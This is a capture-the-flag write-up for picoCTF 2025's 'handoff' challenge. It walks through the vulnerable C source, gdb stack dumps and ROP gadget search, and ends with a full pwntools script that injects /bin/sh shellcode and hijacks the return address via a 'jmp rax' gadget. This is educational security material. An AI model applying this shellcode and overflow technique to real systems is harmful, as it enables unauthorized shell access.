Skip to content
Go back

picoCTF 2025 - handoff

by Viraj Singh
Published:  at  08:17 PM

Table of contents

Open Table of contents

Challenge Information

400 Points

Tags: Hard, picoCTF 2025, Binary Exploitation, browser_webshell_solvable

Author: SKRUBLAWD

Description:

Download the binary here

Download the source here

Connect to the program with netcat:

$ nc shape-facility.picoctf.net 50924

Challenge Link: https://play.picoctf.org/practice/challenge/486

Explanation

Securities

Before we start we can look at the securities enabled using checksec:

└─$ checksec --file=handoff
RELRO           STACK CANARY      NX            PIE             RPATH      
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH

* I omitted irrelevant information from the checksec output

Analyze the C file

We start by analyzing the C source code.

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64

typedef struct entry {
	char name[8];
	char msg[64];
} entry_t;

void print_menu() {
	puts("What option would you like to do?");
	puts("1. Add a new recipient");
	puts("2. Send a message to a recipient");
	puts("3. Exit the app");
}

int vuln() {
	char feedback[8];
	entry_t entries[10];
	int total_entries = 0;
	int choice = -1;
	// Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
	while (true) {
		print_menu();
		if (scanf("%d", &choice) != 1) exit(0);
		getchar(); // Remove trailing \n

		// Add entry
		if (choice == 1) {
			choice = -1;
			// Check for max entries
			if (total_entries >= MAX_ENTRIES) {
				puts("Max recipients reached!");
				continue;
			}

			// Add a new entry
			puts("What's the new recipient's name: ");
			fflush(stdin);
			fgets(entries[total_entries].name, NAME_LEN, stdin);
			total_entries++;
			
		}
		// Add message
		else if (choice == 2) {
			choice = -1;
			puts("Which recipient would you like to send a message to?");
			if (scanf("%d", &choice) != 1) exit(0);
			getchar();

			if (choice >= total_entries) {
				puts("Invalid entry number");
				continue;
			}

			puts("What message would you like to send them?");
			fgets(entries[choice].msg, MSG_LEN, stdin);
		}
		else if (choice == 3) {
			choice = -1;
			puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
			fgets(feedback, NAME_LEN, stdin);
			feedback[7] = '\0';
			break;
		}
		else {
			choice = -1;
			puts("Invalid option");
		}
	}
}

int main() {
	setvbuf(stdout, NULL, _IONBF, 0);  // No buffering (immediate output)
	vuln();
	return 0;
}

The program does the following:

Since there is no win function present in the source code we will likely need a shell.

Shellcode Injection

Since NX is disabled, we can make the program execute shellcode off the stack. Looking on shell-storm I found the following shellcode that we can use for this program.

shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

We can input these bytes to the msg char array in the entry_t struct as it allows 64 bytes of input. Now, we need to figure out a way can make execution jump to the location of the msg char array on the stack.

Stack Inspection

We can use gdb to inspect the stack right after we input into the feedback buffer.

└─$ gdb handoff
gef➤  b *vuln+452
Breakpoint 1 at 0x4013ed
gef➤  r
Starting program: /home/vsingh/Downloads/CTF/picoCTF_2025/pwn/handoff/handoff 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
What option would you like to do?
1. Add a new recipient
2. Send a message to a recipient
3. Exit the app
1
What's the new recipient's name: 
AAAAAAAA
What option would you like to do?
4. Add a new recipient
5. Send a message to a recipient
6. Exit the app
2
Which recipient would you like to send a message to?
0
What message would you like to send them?
BBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEE
What option would you like to do?
7. Add a new recipient
8. Send a message to a recipient
9. Exit the app
3
Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: 
FFFF

After reaching the breakpoint, we can run

gef➤  x/100gx $rsp
0x7fffffffd8d0:	0x646e61682f66666f	0x000000000066666f
0x7fffffffd8e0:	0x4141414141414141	0x4242424242424242
0x7fffffffd8f0:	0x4343434343434343	0x4444444444444444
0x7fffffffd900:	0x4545454545454545	0x000000000000000a
...
0x7fffffffdbb0:	0x46464646ffffdbd0	0x000000010000000a
0x7fffffffdbc0:	0x00007fffffffdbd0	0x000000000040143f
0x7fffffffdbd0:	0x0000000000000001	0x00007ffff7dd5d68

Based on this information the name char array of the first entry starts at 0x7fffffffd8e0, the msg char array of the first entry starts at 0x7fffffffd8e8, and the feedback char array starts at 0x7fffffffdbb4. Also, based on this following disassembly of the main function, it is clear that the value stored at 0x7fffffffdbc8 is the return address of the vuln function.

000000000040140f <main>:
  40140f:	f3 0f 1e fa          	endbr64
  401413:	55                   	push   %rbp
  401414:	48 89 e5             	mov    %rsp,%rbp
  401417:	48 8b 05 42 2c 00 00 	mov    0x2c42(%rip),%rax        # 404060 <stdout@GLIBC_2.2.5>
  40141e:	b9 00 00 00 00       	mov    $0x0,%ecx
  401423:	ba 02 00 00 00       	mov    $0x2,%edx
  401428:	be 00 00 00 00       	mov    $0x0,%esi
  40142d:	48 89 c7             	mov    %rax,%rdi
  401430:	e8 ab fc ff ff       	call   4010e0 <setvbuf@plt>
  401435:	b8 00 00 00 00       	mov    $0x0,%eax
  40143a:	e8 ea fd ff ff       	call   401229 <vuln>
  40143f:	b8 00 00 00 00       	mov    $0x0,%eax
  401444:	5d                   	pop    %rbp
  401445:	c3                   	ret
  401446:	66 2e 0f 1f 84 00 00 	cs nopw 0x0(%rax,%rax,1)
  40144d:	00 00 00 

Jumping to Shellcode

Since ASLR (Address Space Layout Randomization) is enabled, we cannot overflow the feedback buffer and modify the return address to the address of the shellcode.

We can try using a ROP gadget to perform this task.

└─$ ROPgadget --binary=handoff | grep jmp
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x00000000004012f8 : add dword ptr [rbp - 4], 1 ; jmp 0x401249
0x0000000000401085 : add eax, 0xf2000000 ; jmp 0x401020
0x00000000004011f3 : cli ; jmp 0x401180
0x00000000004011f0 : endbr64 ; jmp 0x401180
0x0000000000401165 : je 0x401170 ; mov edi, 0x404060 ; jmp rax
0x00000000004011a7 : je 0x4011b0 ; mov edi, 0x404060 ; jmp rax
0x000000000040103a : jmp 0x401020
0x00000000004011f4 : jmp 0x401180
0x00000000004012fc : jmp 0x401249
0x00000000004012a5 : jmp 0x401407
0x00000000004013f1 : jmp 0x40140c
0x000000000040100b : jmp 0x4840103f
0x000000000040116c : jmp rax
0x00000000004013ed : mov byte ptr [rbp - 5], 0 ; jmp 0x40140c
0x0000000000401167 : mov edi, 0x404060 ; jmp rax
0x00000000004011ec : nop dword ptr [rax] ; endbr64 ; jmp 0x401180
0x0000000000401166 : or dword ptr [rdi + 0x404060], edi ; jmp rax
0x0000000000401163 : test eax, eax ; je 0x401170 ; mov edi, 0x404060 ; jmp rax
0x00000000004011a5 : test eax, eax ; je 0x4011b0 ; mov edi, 0x404060 ; jmp rax

There are several gadgets here that use the jmp instruction. One stood out to me as I remembered something I saw while debugging in gdb:

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffdbb4  →  0x0000000a46464646 ("FFFF\n"?)
$rbx   : 0x00007fffffffdce8  →  0x00007fffffffe070  →  "/home/vsingh/Downloads/CTF/picoCTF_2025/pwn/handof[...]"
$rcx   : 0xa464646         
$rdx   : 0xfbad2288        
$rsp   : 0x00007fffffffd8d0  →  "off/handoff"
$rbp   : 0x00007fffffffdbc0  →  0x00007fffffffdbd0  →  0x0000000000000001
$rsi   : 0xa464646         
$rdi   : 0x00007ffff7f95720  →  0x0000000000000000
$rip   : 0x00000000004013ed  →  <vuln+01c4> mov BYTE PTR [rbp-0x5], 0x0
$r8    : 0x00000000004052a5  →  "BBBCCCCCCCCDDDDDDDDEEEEEEEE\n"
$r9    : 0x0               
$r10   : 0x00007ffff7f3afe0  →  0x0000000100000000
$r11   : 0x246             
$r12   : 0x0               
$r13   : 0x00007fffffffdcf8  →  0x00007fffffffe0ac  →  "SHELL=/bin/bash"
$r14   : 0x00007ffff7ffd000  →  0x00007ffff7ffe2e0  →  0x0000000000000000
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 

The $rax register contains the stack address of the start of the feedback buffer.

We can use the jmp rax gadget to jump to this address and begin the shellcode execution.

0x000000000040116c : jmp rax

Since the feedback buffer obviously does not have enough space for the entire shellcode we can perform a relative jump to the shellcode in the msg char array in the first entry. We can do:

(feedback array address) - (msg array address) - (length of jmp instruction)
0x7fffffffdbb4 - 0x7fffffffd8e8 - 0x5 = 0xfffffd2f (-721)

The assembly code for this would be:

E9 2f FD FF FF   ; JMP -716

We can write this in bytes as:

jmp_bytes = b'\xe9\x2f\xfd\xff\xff'

Summary

We can input shellcode in the msg char array of the first entry. Then we can take advantage of the buffer overflow vulnerability and overwrite the return address and modify it to the address of the jmp rax ROP gadget. Since $rax contains the address of the beginning of the feedback buffer, we need to input jmp_bytes before we overflow.

Full Solution

from pwn import *

# Set up the connection
context.arch = 'amd64'
context.log_level = 'critical'

p = remote('shape-facility.picoctf.net', 50924)

# execute /bin/sh shellcode
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# jmp rax address
jmp_rax = 0x40116c
# jmp -721 shellcode
jmp_bytes = b'\xe9\x2f\xfd\xff\xff'

# Inject shellcode
p.sendlineafter(b'3. Exit the app\n', b'1')
p.sendlineafter(b"What's the new recipient's name: \n", b"\x90" * 8) 

p.sendlineafter(b'3. Exit the app\n', b'2')
p.sendlineafter(b'Which recipient would you like to send a message to?\n', b'0')
p.sendlineafter(b'What message would you like to send them?\n', shellcode)

# Add jmp -721 bytes code (to jump to shellcode) and some padding
payload = jmp_bytes + b'B' * 7 + b'C' * 8
# Overwrite return address with jmp rax gadget
payload += p64(jmp_rax) 

p.sendlineafter(b'3. Exit the app\n', b'3')
p.sendlineafter(b'If you could take a second to write a quick review, we would really appreciate it: \n', payload)

# Access shell
p.interactive() 

References



Previous Post
picoCTF 2025 - SSTI1